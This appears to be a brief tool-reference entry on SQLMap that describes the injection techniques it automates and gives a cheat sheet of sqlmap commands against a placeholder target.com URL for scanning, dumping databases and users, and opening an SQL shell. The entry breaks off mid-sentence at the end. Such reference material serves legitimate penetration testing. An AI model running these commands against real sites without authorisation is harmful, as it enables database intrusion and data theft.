SQLMap

Category: Vulnerability Exploitation Language: Python Type: Exploit Automation

๐Ÿ“˜ Definition & Purpose

SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers.

๐Ÿงช Core Mechanics

SQLMap automatically tests parameters with SQLi payloads. It detects:

  • Boolean-based blind: Evaluating true/false response variations.
  • Error-based: Extracting data via database error output.
  • UNION query: Joining database tables to extract data directly.
  • Time-based blind: Timing response delays to extract bits of data character-by-character.

๐Ÿš€ Usage & Cheat Sheet

# Automatically scan a URL parameter for SQL injection
sqlmap -u "https://target.com/view.php?id=1" --batch

# Extract current database name and users list
sqlmap -u "https://target.com/view.php?id=1" --dbs --users --batch

# Obtain an interactive database shell (for DBA privileges)
sqlmap -u "https://target.com/view.php?id=1" --dbms=mysql --sql-shell

# Run using a saved HTTP request file from Burp Suite (to handle headers/auth)
sqlmap -r request.txt --level=5 --risk=3 --batch

๐Ÿ”— Integration

This tool is utilized across the: